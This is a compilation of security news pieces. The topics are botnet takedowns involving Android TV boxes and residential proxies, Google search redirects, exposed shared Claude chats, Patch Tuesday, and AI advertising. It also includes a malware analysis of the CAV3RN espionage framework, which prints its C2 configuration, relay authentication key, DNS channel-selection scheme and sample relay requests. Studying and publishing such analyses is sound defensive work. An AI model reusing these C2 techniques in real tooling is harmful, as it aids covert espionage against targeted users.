Google said today it worked with industry partners to dismantle a botnet made up of more than 1.3 million Android TV set-top boxes that ship with malicious software which secretly rents the user’s Internet connection out to strangers and conducts advertising fraud. Experts involved in the takedown say the action is likely to sever the botnet’s access to more than 10 million additional compromised systems, including other Internet of Things (IoT) products such as Android-based healthcare devices and karaoke machines.

A report from the Google Threat Intelligence Group (GTIG) said Google has severed ties with Videostrong Technology Co., a TV box manufacturer in China that GTIG and other industry experts concluded was responsible for including malware that enrolled more than 1.3 million set-top boxes in a botnet dubbed “XCPE” (named after one of the malware’s core code components).

The report said the XCPE botnet loaded the user’s device with software that makes their Internet address available for resale by multiple “residential proxy” services, which allow customers to rent Internet addresses as a way to anonymize their web traffic or spoof their true location. As detailed in several stories here over the past year, residential proxy services are a major source of unwanted and often malicious traffic, including account takeover activity, advertising fraud, and mass content scraping for AI projects.

“Videostrong monetized the backdoor by selling access to criminal affiliates and loading those affiliates’ malware modules onto infected devices,” the GTIG post reads, noting that Google took legal action to take down the domains and servers Videostrong used to control the botnet and install additional malware. “A device manufacturer intentionally infecting their users with malware is an unacceptable breach of trust, and represents a serious risk to those users. Without users’ knowledge or consent, infected devices were offered as a distribution mechanism for a wide array of criminal actors.”

The report notes that while TV boxes made up the the majority of the botnet, the same XCPE malware was found in other Android-based IoT products, including telehealth devices, karaoke machines, and even digital signage systems.

Google said it requires all Android device makers to pass compatibility and security tests to ensure their products don’t harm users, but that Videostrong nevertheless found a way to load their malicious software immediately after a user boots up one of these devices for the first time (Google says it has since addressed that weakness).

The GTIG report calls out a number of residential proxy providers whose software development kits were routinely downloaded by devices infected by the XCPE botnet. Those include AppSalt, also known as Honeygain, which is owned by the Vilnius, Lithuania-based Oxylabs. In October 2026, Oxylabs was relaunched under a new brand called Source, after receiving $130 million in funding from private equity firm Warburg Pincus that reportedly valued the business at $3.6 billion. Oxylabs did not respond to a request for comment.

Another provider linked to the botnet was NetNut, a once sprawling residential proxy company operated by the publicly-traded Israeli company Alarum Technologies. In July 2026, the FBI worked with industry partners to seize hundreds of domains associated with NetNut, saying the company was responsible for operating a separate botnet called Popa that enslaved TV boxes as residential proxies. Other proxy providers named in the GTIG report include EarnFM, Traffmonetizer, Jaguar, LINKFOG, BMW/IPWeb and GaGaNode.

Google’s announcement credits a number of industry partners, including Synthient, a startup that tracks proxy providers. In January 2026, Synthient published research into the rapid spread of the Kimwolf botnet, which at the time was hammering networks worldwide with record-smashing DDoS attacks. Synthient documented how Kimwolf infected millions of Android set-top boxes virtually overnight, using a widespread vulnerability in these residential proxy services to compromise other Android-based devices inside the local networks of unsuspecting TV box users.

Synthient’s research caused dozens of residential proxy providers to patch their networks, which helped to fragment the Kimwolf botnet into much smaller pieces that made its incessant and disruptive DDoS attacks far easier for network operators to manage. It also attracted the attention of the Motion Picture Association (MPA), a trade group representing the major Hollywood studios, which partnered with Synthient to purchase and tear apart a number of popular Android TV set-top boxes — including some that were being infected by Kimwolf and other IoT botnets.

In a report published today, Synthient examined a popular, pre-infected TV box sold under the brand MECOOL by a publicly traded company in China called Skyworth Technology, concluding that MECOOL also bundled the malware from Videostrong Technology Co. and likewise installed AppSalt/Honeygain and other proxy components.

Synthient founder Ben Brundage told KrebsOnSecurity that Videostrong’s malware also distributed software for the proxy service Grass. In our November 2025 story, “Is Your Android TV Streaming Box Part of a Botnet?” we quoted a researcher from Censys who found the popular Superbox TV streaming device bundled Grass’s residential proxy software. We also quoted the Grass founder, who denied any affiliation with the TV box maker.

That November 2025 story noted that Superbox and similar Android TV set-top boxes gain new customers primarily by engaging influencers on Tiktok and other social networks who praise the product’s ability to offer hundreds of (pirated) pay TV streaming services for a one-time fee.

Likewise, Synthient’s report observes that the MECOOL set-top boxes exploded in popularity after the product was mentioned in 2023 by the Youtube channel Linus Tech Tips, which has an audience of nearly 17 million subscribers [Linus Tech Tips said in a statement shared with Synthient that it has since updated the video to explicitly frame the product as a scam and have removed all associated affiliate links].

The GTIG report estimates the XCPE botnet takedown should sever access to at least 10 million additional compromised devices, noting that the various proxy and ad fraud affiliates of Videostrong “each have diversified distribution channels for their modules beyond XCPE.”

Synthient’s Brundage echoed that conclusion, calling the 1.3 million number “highly conservative.”

“The scale of affected devices is likely way higher,” he said. “This is probably the largest operation against backdoored TV boxes that we’ve seen.”

Further reading:
Plume Security Labs white paper on the XCPE botnet (PDF)
Black Lotus Labs writeup on LinkedIn
TrendAI’s analysis
Synthient’s list of affected devices, broken down by model number

Google has temporarily stopped accepting product vulnerability reports through its Open Source Software Vulnerability Reward Program (OSS VRP).

The post Google Narrows Open Source Bug Bounty Amid Wave of Invalid Automated Reports appeared first on SecurityWeek.

Google is changing how some links in its search results work.

Instead of linking directly to the destination, Google has started routing some search result links through opaque google.com/goto?url=... redirects. The url parameter does not show a readable version of the destination but uses a custom, Google-specific encoding.

Google confirmed the rollout to Search Engine Roundtable:

“We have a long history of deploying technical measures against evolving forms of abuse, and we regularly take steps to protect our services and users.”

Google has not said precisely what abuse the change is intended to prevent. However, the most likely reason is that the redirects are designed to make bulk extraction of destination URLs from Google search results more difficult and costly. Automated tools must now ask Google to resolve each result separately.

Since the rollout has apparently not reached my neck of the woods yet, I had to grab an image from another source.

Some Reddit users find the change ironic: Google built its search business by automatically collecting information from other websites, but is now making it harder for others to collect information from Google.

Other users have complained about the collateral damage to legitimate tools. Rank tracking, SEO auditing, research, archival, accessibility, and alternate-index services may all face the same rate limits and costs as abusive scrapers.

Search results data provider Autom reports that the final destination is viewable only through the redirect response’s Location header. This means bulk collectors must make an additional request for every result.

Security

The first thing that popped into my one-track mind was the security downside. We often tell users to hover over a link before clicking it so they can check where it leads. That advice is less useful when hovering reveals an encoded Google redirect rather than the destination website.

Google still displays the claimed destination above each search result, but users can no longer use the link preview as an independent check.

So, Google, where does this leave our advice? We already tell people not to click Sponsored search results. Should we now tell them to avoid goto?url links too? Or will you give users an easy way to check where a link leads before they click it?

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Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

The module supports five internal commands:

Command	Functionality
s_version	Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config	Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog	Enables diagnostic logging at the Debug level.
s_deLog	Disables diagnostic logging and sets the logging level to Fatal.
s_write	Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{
  "to": "<generated seven-character ID>", // Client ID
  "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
  "ho": "studiotikva.com", // DNS domain
  "gi": "<redacted>", // Apps Script deployment ID
  "de": false, // Enable Debug logging at startup
  "mi": 120000, // Poll-delay reset after a non-empty response
  "ma": 18000000, // Progressive poll-delay cap
  "ri": 30000, // Base DNS recovery/error delay, with positive jitter
  "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
  "gu": "https://script.google.com/macros/s/{0}/exec",
  "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
  "mcc": 50, // unknown
  "mtc": 10 // unknown
}

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

Fourth octet	None (0)	GIDFailed (1)	GoogleFailed (2)	DirectFailed (3)
120 (0x78)	Google Apps Script	Direct HTTPS	Direct HTTPS	Google Apps Script
130 (0x82)	Direct HTTPS	Direct HTTPS	Direct HTTPS	Close the transaction (no channel)
140 (0x8C)	Exception	Exception	Exception	Exception
All other values	Google Apps Script	Google Apps Script	Google Apps Script	Google Apps Script

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json

{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE

HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE

{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

Command	Function
000	Lists loaded component names and versions
001	Lists every DLL path discovered by the scanner
002	Lists each loaded component’s path, name, and version

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Domain	Registrar	IP	Hosting	ASN
studiotikva[.]com api.studiotikva[.]com ns1.studiotikva[.]com ns2.studiotikva[.]com	Dynadot Inc	144.172.115[.]17 144.172.104[.]82	RouterHosting LLC	AS 14956

Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

The internet giant has built an agent harness to find vulnerabilities across Chrome’s codebase.

The post Google AI Uncovers 13-Year-Old Chrome Flaw Amid Record Patching Pace appeared first on SecurityWeek.

Reddit users found that by using a specific Google search query, it was possible to find Claude conversations that users had shared.

This exposed sensitive material, including crypto wallet keys, names, addresses, work notes, and even erotic or otherwise policy-violating chats. Fortune says Anthropic appears to have fixed the Google indexing issue, but the shared links themselves were still live for people who already had them.

The exposure was tied to Claude’s Share feature, which creates a public web link to a snapshot of a conversation rather than leaving it inside a user’s private account. Reddit users found a search query that surfaced many of these shared chats, plus Claude Artifacts (interactive documents, apps, and other content created by Claude) in Google results. Wired reports that this is still true for Bing.

The main risk is that people use chatbots to think through work, health, legal, or personal matters without realizing that a shared link can behave like ordinary public web content.

This isn’t unique to Claude. We’ve previously seen Grok chats show up in Google search results, and Meta AI conversations can also become public by design. We have also written about the share option in ChatGPT that was swiftly removed after users unintentionally made thousands of conversations searchable.

Anthropic says Claude chats are private by default, and only conversations users explicitly chose to share were affected. But the incident is a reminder that a “share” button on an AI chat can be more like publishing than messaging, especially if search engines can discover the resulting URL.

How to stay safe

The easy way out here is not to share your AI chatbot conversations with anyone, because you could end up reaching more people than you intended.

That’s because it’s harder to stop pages from being indexed than you might expect. And you don’t have those controls aren’t in your hands. The AI provider should take care of that.

But there are a few things you can do:

• Don’t share Personally Identifiable Information (PII) with a chatbot, so that if a conversation is ever exposed it can’t be easily linked back to you.
• To review or stop sharing conversations in Claude, go to Settings > Privacy > Shared chats.
• If you’re using an AI service from a social media company, such as Meta AI, Grok, or Gemini), remember that your conversations could be tied to your account—which might contain a lot of personal information.
• When using AI, make sure you understand how to keep your conversations private. Many services offer temporary or incognito chats that aren’t saved to your history, but they aren’t a guarantee against bugs, leaks, or data breaches. Only use the share feature when you’re comfortable with anyone potentially seeing that conversation.
• Read the privacy policy so you understand how your conversations are stored and shared. If it’s too long, you can always ask an AI to summarise the important points.

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Let’s face it, an incognito window can only do so much. 
 
Breaches, dark web trading, credit fraud. Malwarebytes Identity Theft Protection monitors for all of it, alerts you fast, and comes with identity theft insurance. 

The Federal Bureau of Investigation (FBI) said today it worked with industry partners to seize hundreds of domains associated with NetNut, a sprawling residential proxy service operated by the publicly-traded Israeli company Alarum Technologies [NASDAQ: ALAR]. The action comes roughly two weeks after KrebsOnSecurity published findings from multiple security firms connecting NetNut to the Popa botnet, a collection of at least two million devices that have been compromised by malicious software with little or no consent from victims.

On June 19, three different security firms issued similar findings: That NetNut is a residential proxy network which populates a botnet called Popa, and distributes software for devices commonly found in homes, such as smart TVs and streaming boxes. NetNut’s software turns those systems into always-on residential proxy nodes that are rented to others, who predominantly use them to relay abusive and intrusive Internet traffic, such as mass content scraping, advertising fraud, and account takeover activity.

Earlier today, NetNut’s homepage was replaced with a seizure notice from the FBI and the Internal Revenue Service Criminal Investigation division. The seizure notice thanked Google, Lumen, Shadowserver and other industry partners for their help in dismantling hundreds of domains tied to the Popa botnet, which experts say has long been synonymous with NetNut’s residential proxy infrastructure.

In a blog post published today, the Google Threat Intelligence Group (GTIG) said NetNut’s proxy network is widely resold and white-labeled by a number of third-party proxy providers, and that its services are heavily sought out by cybercriminals seeking to obfuscate the source of their malicious traffic. The GTIG said that in a single week during June 2026, they observed 316 distinct clusters of threat actors using suspected NetNut exit nodes, including cybercriminal and espionage groups.

“These bad actors can use NetNut to mask their origin IP address when accessing victim environments, accessing their own infrastructure, and conducting password spray attacks,” Google’s GTIG wrote. “Furthermore, when a consumer device becomes an exit node, unauthorized network traffic passes through it. This means bad actors can access other private devices on the same home network, effectively exposing them to Internet threats.”

Google said it disabled Google accounts and services used by NetNut for malware command and control, and that it shared technical intelligence on NetNut’s software development kits (SDKs) and backend infrastructure with platform providers, law enforcement and research firms. The company also disabled apps known to bundle NetNut’s various SDKs.

Omer Weiss, legal counsel for NetNut parent Alarum Technologies, said the company was aware of the FBI seizure and cooperating with investigators.

“Alarum takes this matter seriously and will fully cooperate with law enforcement to ensure any misuse of its infrastructure is thoroughly investigated and those responsible are held to account,” Weiss said in a written statement.

Benjamin Brundage is founder of the proxy tracking service Synthient, one of the companies that published evidence last month linking the Popa botnet to NetNut and Alarum Technologies. Brundage said the domain seizures appear to have disrupted both the Popa botnet and the NetNut proxy network that rides on top of it.

Brundage said NetNut’s apparent demise is likely to be a great disadvantage for the cybercrime community, which was already reeling from legal actions by Google earlier this year that seized infrastructure for NetNut’s biggest competitor — IPIDEA.

“I think this takedown is going to have a big impact, because NetNut gained significant popularity after the IPIDEA takedown,” he said. “Also NetNut has been incredibly common among resellers, and they were on par with IPIDEA in terms of their daily traffic, quality, size, price per gigabyte, all of it.”

The NetNut and Popa botnet takedown may have another added benefit, Brundage said: Lessening the impact of large distributed denial-of-service botnets that have been built on the backs of poorly configured residential proxy services. In January, Synthient revealed how cybercriminals had built the world’s largest DDoS botnet (Kimwolf) by tunneling through IPIDEA proxy connections into the local networks of TV box owners, and infecting other Android-based devices behind the victim’s firewall.

While many of the bigger proxy providers took steps to block this activity, resellers of the major proxy networks have been far slower to respond to the threat, Brundage said.

“In terms of all these TV box devices getting compromised from the proxy network, it will have an impact on the DDoS botnets out there,” he said.

For its part, Google reckons today’s actions have caused “significant degradation to NetNut’s proxy network and its business operations, reducing the available pool of devices for the proxy operator by millions.” But the company warns that proxy networks can rebuild themselves by effectively reselling other proxy services, as IPIDEA has done over the past few months.

“Google has high confidence that many popular residential proxy brands are in fact whitelabeling the NetNut botnet,” the GTIG report concludes. “While we expect this disruption to have a larger ripple effect across the residential proxy ecosystem, observations after the disruption of IPIDEA proved that individual networks can appear resilient. What we have observed is that when faced with the degradation of their own botnet, proxy operators begin buying capacity from their competitors, effectively becoming a reseller. We recognize that creating a lasting disruption in this fluid ecosystem means we must scale our efforts to target the infrastructure of several interconnected providers.”

As KrebsOnSecurity has warned repeatedly, most of the no-name TV streaming boxes for sale on the major e-commerce websites either come pre-installed with residential proxy software, or require the installation of proxy SDKs in order to use the device for its stated purpose (streaming pirated movies, sporting events and TV shows). Google’s advice here is sound: When it comes to TV boxes, stick to name brands from reputable manufacturers, and then be sparing and judicious with any apps you choose to install.

The sketchy TV boxes that are being commandeered by the Popa botnet and other threats all come with or require the user to install unofficial Android operating systems that do not operate within the confines of Google’s Official Play Protect store. Google says consumers can confirm whether or not a device is built with the official Android TV OS and Play Protect certification by following these instructions.

Even people without TV streaming boxes can find their smart TVs enrolled in residential proxy networks, just by installing one of thousands of apps available for download on Samsung and LG smart TVs. In a report released last month, the proxy tracking company Spur found 42 percent of apps available for download via the webOS operating system on LG smart TVs include SDKs that turn one’s television into an always-on residential proxy node. More than a quarter of the apps made for Samsung’s Tizen operating system had similar residential proxy components, Spur found.

Update, 4:24 p.m. ET: Included a statement shared post-publication from an attorney representing NetNut parent Alarum Technologies.

Update, July 8, 2:34 p.m. ET: The website for Alarum Technologies — alarum[.]io — now also features a seizure notice from the FBI. The company’s stock has taken a beating since the FBI action, and is currently trading at $2.62 a share, a roughly 67 percent decline over the past week.

More than 200 vulnerabilities patched in recent Chrome releases are marked as ‘reported by Google’.

The post Google’s Surge in Chrome Vulnerability Discoveries Likely Driven by AI appeared first on SecurityWeek.

Artificial intelligence platforms may be just as susceptible to social engineering as human beings, but they are proving remarkably good at finding security vulnerabilities in human-made computer code. That reality is on full display this month with some of the more widely-used software makers — including Apple, Google, Microsoft, Mozilla and Oracle — fixing near record volumes of security bugs, and/or quickening the tempo of their patch releases.

As it does on the second Tuesday of every month, Microsoft today released software updates to address at least 118 security vulnerabilities in its various Windows operating systems and other products. Remarkably, this is the first Patch Tuesday in nearly two years that Microsoft is not shipping any fixes to deal with emergency zero-day flaws that are already being exploited. Nor have any of the flaws fixed today been previously disclosed (potentially giving attackers a heads up in how to exploit the weakness).

Sixteen of the vulnerabilities earned Microsoft’s most-dire “critical” label, meaning malware or miscreants could abuse these bugs to seize remote control over a vulnerable Windows device with little or no help from the user. Rapid7 has done much of the heavy lifting in identifying some of the more concerning critical weaknesses this month, including:

• CVE-2026-41089: A critical stack-based buffer overflow in Windows Netlogon that offers an attacker SYSTEM privileges on the domain controller. No privileges or user interaction are required, and attack complexity is low. Patches are available for all versions of Windows Server from 2012 onwards.
• CVE-2026-41096: A critical RCE in the Windows DNS client implementation worthy of attention despite Microsoft assessing exploitation as less likely.
• CVE-2026-41103: A critical elevation of privilege vulnerability that allows an unauthorized attacker to impersonate an existing user by presenting forged credentials, thus bypassing Entra ID. Microsoft expects that exploitation is more likely.

May’s Patch Tuesday is a welcome respite from April, which saw Microsoft fix a near-record 167 security flaws. Microsoft was among a few dozen tech giants given access to a “Project Glasswing,” a much-hyped AI capability developed by Anthropic that appears quite effective at unearthing security vulnerabilities in code.

Apple, another early participant in Project Glasswing, typically fixes an average of 20 vulnerabilities each time it ships a security update for iOS devices, said Chris Goettl, vice president of product management at Ivanti. On May 11, Apple shipped updates to address at least 52 vulnerabilities and backported the changes all the way to iPhone 6s and iOS 15.

Last month, Mozilla released Firefox 150, which resolved a whopping 271 vulnerabilities that were reportedly discovered during the Glasswing evaluation.

“Since Firefox 150.0.0 released, they have been on a more aggressive weekly cadence for security updates including the release of Firefox 150.0.3 on May Patch Tuesday resolving between three to five CVEs in each release,” Goettl said.

The software giant Oracle likewise recently increased its patch pace in response to their work with Glasswing. In its most recent quarterly patch update, Oracle addressed at least 450 flaws, including more than 300 fixes for remotely exploitable, unauthenticated flaws. But at the end of April, Oracle announced it was switching to a monthly update cycle for critical security issues.

On May 8, Google started rolling out updates to its Chrome browser that fixed an astonishing 127 security flaws (up from just 30 the previous month). Chrome automagically downloads available security updates, but installing them requires fully restarting the browser.

If you encounter any weirdness applying the updates from Microsoft or any other vendor mentioned here, feel free to sound off in the comments below. Meantime, if you haven’t backed up your data and/or drive lately, doing that before updating is generally sound advice. For a more granular look at the Microsoft updates released today, checkout this inventory by the SANS Internet Storm Center.

The zero-day was designed to bypass 2FA and it was developed by a prominent cybercrime group.

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Google has completed its $32 billion acquisition of the cloud security giant, which will maintain its brand.

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A Chrome 145 update fixes CVE-2026-2441, a vulnerability that can likely be exploited for arbitrary code execution.

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Dozens of vulnerabilities, bugs, and potential improvements have been identified by the tech giants’ security teams.

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One of the largest residential proxy networks, IPIDEA enrolled devices through SDKs for mobile and desktop.

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The announcement comes just weeks after Palo Alto Networks and Google Cloud announced a multibillion-dollar AI and cloud security deal.

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Eighteen months ago, it was plausible that artificial intelligence might take a different path than social media. Back then, AI’s development hadn’t consolidated under a small number of big tech firms. Nor had it capitalized on consumer attention, surveilling users and delivering ads.

Unfortunately, the AI industry is now taking a page from the social media playbook and has set its sights on monetizing consumer attention. When OpenAI launched its ChatGPT Search feature in late 2024 and its browser, ChatGPT Atlas, in October 2025, it kicked off a race to capture online behavioral data to power advertising. It’s part of a yearslong turnabout by OpenAI, whose CEO Sam Altman once called the combination of ads and AI “unsettling” and now promises that ads can be deployed in AI apps while preserving trust. The rampant speculation among OpenAI users who believe they see paid placements in ChatGPT responses suggests they are not convinced.

In 2024, AI search company Perplexity started experimenting with ads in its offerings. A few months after that, Microsoft introduced ads to its Copilot AI. Google’s AI Mode for search now increasingly features ads, as does Amazon’s Rufus chatbot. OpenAI announced on Jan. 16, 2026, that it will soon begin testing ads in the unpaid version of ChatGPT.

As a security expert and data scientist, we see these examples as harbingers of a future where AI companies profit from manipulating their users’ behavior for the benefit of their advertisers and investors. It’s also a reminder that time to steer the direction of AI development away from private exploitation and toward public benefit is quickly running out.

The functionality of ChatGPT Search and its Atlas browser is not really new. Meta, commercial AI competitor Perplexity and even ChatGPT itself have had similar AI search features for years, and both Google and Microsoft beat OpenAI to the punch by integrating AI with their browsers. But OpenAI’s business positioning signals a shift.

We believe the ChatGPT Search and Atlas announcements are worrisome because there is really only one way to make money on search: the advertising model pioneered ruthlessly by Google.

Advertising model

Ruled a monopolist in U.S. federal court, Google has earned more than US$1.6 trillion in advertising revenue since 2001. You may think of Google as a web search company, or a streaming video company (YouTube), or an email company (Gmail), or a mobile phone company (Android, Pixel), or maybe even an AI company (Gemini). But those products are ancillary to Google’s bottom line. The advertising segment typically accounts for 80% to 90% of its total revenue. Everything else is there to collect users’ data and direct users’ attention to its advertising revenue stream.

After two decades in this monopoly position, Google’s search product is much more tuned to the company’s needs than those of its users. When Google Search first arrived decades ago, it was revelatory in its ability to instantly find useful information across the still-nascent web. In 2025, its search result pages are dominated by low-quality and often AI-generated content, spam sites that exist solely to drive traffic to Amazon sales—a tactic known as affiliate marketing—and paid ad placements, which at times are indistinguishable from organic results.

Plenty of advertisers and observers seem to think AI-powered advertising is the future of the ad business.

Highly persuasive

Paid advertising in AI search, and AI models generally, could look very different from traditional web search. It has the potential to influence your thinking, spending patterns and even personal beliefs in much more subtle ways. Because AI can engage in active dialogue, addressing your specific questions, concerns and ideas rather than just filtering static content, its potential for influence is much greater. It’s like the difference between reading a textbook and having a conversation with its author.

Imagine you’re conversing with your AI agent about an upcoming vacation. Did it recommend a particular airline or hotel chain because they really are best for you, or does the company get a kickback for every mention? If you ask about a political issue, does the model bias its answer based on which political party has paid the company a fee, or based on the bias of the model’s corporate owners?

There is mounting evidence that AI models are at least as effective as people at persuading users to do things. A December 2023 meta-analysis of 121 randomized trials reported that AI models are as good as humans at shifting people’s perceptions, attitudes and behaviors. A more recent meta-analysis of eight studies similarly concluded there was “no significant overall difference in persuasive performance between (large language models) and humans.”

This influence may go well beyond shaping what products you buy or who you vote for. As with the field of search engine optimization, the incentive for humans to perform for AI models might shape the way people write and communicate with each other. How we express ourselves online is likely to be increasingly directed to win the attention of AIs and earn placement in the responses they return to users.

A different way forward

Much of this is discouraging, but there is much that can be done to change it.

First, it’s important to recognize that today’s AI is fundamentally untrustworthy, for the same reasons that search engines and social media platforms are.

